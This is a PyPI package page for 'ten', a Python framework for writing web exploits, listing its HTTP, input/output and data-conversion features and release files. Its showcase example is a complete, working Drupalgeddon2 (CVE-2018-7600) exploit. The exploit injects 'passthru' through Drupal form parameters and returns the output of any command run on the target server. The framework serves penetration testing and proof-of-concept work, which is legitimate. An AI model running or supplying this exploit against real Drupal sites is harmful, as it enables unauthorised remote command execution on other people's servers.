Skip to main content

Coverage

ten

My (small) web exploit framework. I got tired of writing standard code over and over again, so I made this. Makes code more concise, clearer, faster to write. Might be useful to you.

It helps with HTTP interactions, handling user input, providing clear output, handling files, and running shell commands.

Useful to build POCs, and convert them into full, documented exploits in a blink.

Documentation

Documentation is available here: https://cfreal.github.io/ten/.

It includes tutorials, quickstart guides, and the Python documentation.

Installation

Ten is available on PyPi.

$ pip install ten

Features

  • Input/output
    • Arguments to the main function are automatically mapped to argparse
      • They can hold a default value, get documented, etc.
    • Output is clear and readable
  • HTTP
    • Improves the standard requests API
    • Parse HTTP responses easily (regex, CSS selectors, forms)
    • Turn BURP on and off in a blink
    • Concurrency
    • Lots more.
  • Data conversion
    • Transform data: base64, hashing, query string, CSV, JSON, ...
    • Available as a tool: tf
  • ...

Example

Functional, fully documented Drupalgeddon2 exploit:

#!/usr/bin/env python3

from ten import *


@entry
@arg("url", "URL of the Drupal website to exploit")
@arg("command", "Command to run on the server. Defaults to `id`")
def main(url, command="id"):
    """Exploit for Drupalgeddon2 (CVE-2018-7600)."""

    session = ScopedSession(url)
    response = session.post(
        url,
        params={
            "q": "user/password",
            "name[#post_render][]": "passthru",
            "name[#markup]": command,
            "name[#type]": "markup",
        },
        data={"form_id": "user_pass", "_triggering_element_name": "name"},
    )
    try:
        form = response.form(id="user_pass")
    except FormNotFoundError:
        failure("Unable to find form in response")
    
    build_id = form["form_build_id"]
    response = session.post(
        url,
        params={
            "q": f"file/ajax/name/#value/{build_id}"
        },
        data={"form_build_id": build_id},
    )
    result = response.re.search(r"^(.*)\[{", flags=re.S)
    
    assume(result, "Unable to find command result in response")

    msg_success("Exploit done")
    msg_info("Command result:")

    msg_print(result.group(1))


main()

Metadata

Release files for ten 0.1.8

For a detailed explanation of source distributions (sdists) and built distributions (wheels), please see the package formats documentation.

Source distribution (sdist)

Source distribution for ten 0.1.8
File Size Uploaded
ten-0.1.8.tar.gz 45.8 kB Details

Built distribution (wheel)

Table of built distributions (wheels) for ten 0.1.8
File Interpreter ABI Platform
ten-0.1.8-py3-none-any.whl Python 3 none any Details

Total release size: 100.5 kB

Release files / ten-0.1.8.tar.gz

Download URL ten-0.1.8.tar.gz
Size 45.8 kB
Tags Source
SHA-256 checksum
How to use checksums
9f268e1448ac923fee2b874d3adb810b5a767f86cc415607885b602e52df8915
BLAKE2b-256 checksum
How to use checksums
989dfff4f0dbcfb2bf9619dc47c8b9b6b53b3ccf531d3167013a17ad86389968
Upload date
Uploaded using Trusted Publishing?
What is trusted publishing?
No
Uploaded via poetry/1.4.2 CPython/3.10.9 Linux/5.15.0-164-generic

Release files / ten-0.1.8-py3-none-any.whl

Download URL ten-0.1.8-py3-none-any.whl
Size 54.7 kB
Tags Python 3
SHA-256 checksum
How to use checksums
40b6709003d9a8221e1a53010f7cc8dd84560e227b5dfd1715dd60de1ff237d0
BLAKE2b-256 checksum
How to use checksums
a49dc51d1c83d2b4ff9288e1c97ae8608e2d9a4a7b6048ca924a8828501e09ca
Upload date
Uploaded using Trusted Publishing?
What is trusted publishing?
No
Uploaded via poetry/1.4.2 CPython/3.10.9 Linux/5.15.0-164-generic

Release history Release notifications | RSS feed

This release

0.1.8 This release

2 release files

0.1.7

2 release files

0.1.6

2 release files

0.1.5

2 release files

0.1.4

2 release files

0.1.3

2 release files

0.1.2

2 release files

0.1.1

2 release files

0.1.0

2 release files

Anthropic, PBC Visionary sponsor Bloomberg Visionary sponsor Hudson River Trading Visionary sponsor Meta Visionary sponsor NVIDIA Visionary sponsor Microsoft Sustainability sponsor Depot Continuous Integration AWS Cloud computing and Security Sponsor Datadog Monitoring Fastly CDN Google Download Analytics Sentry Error logging StatusPage Status page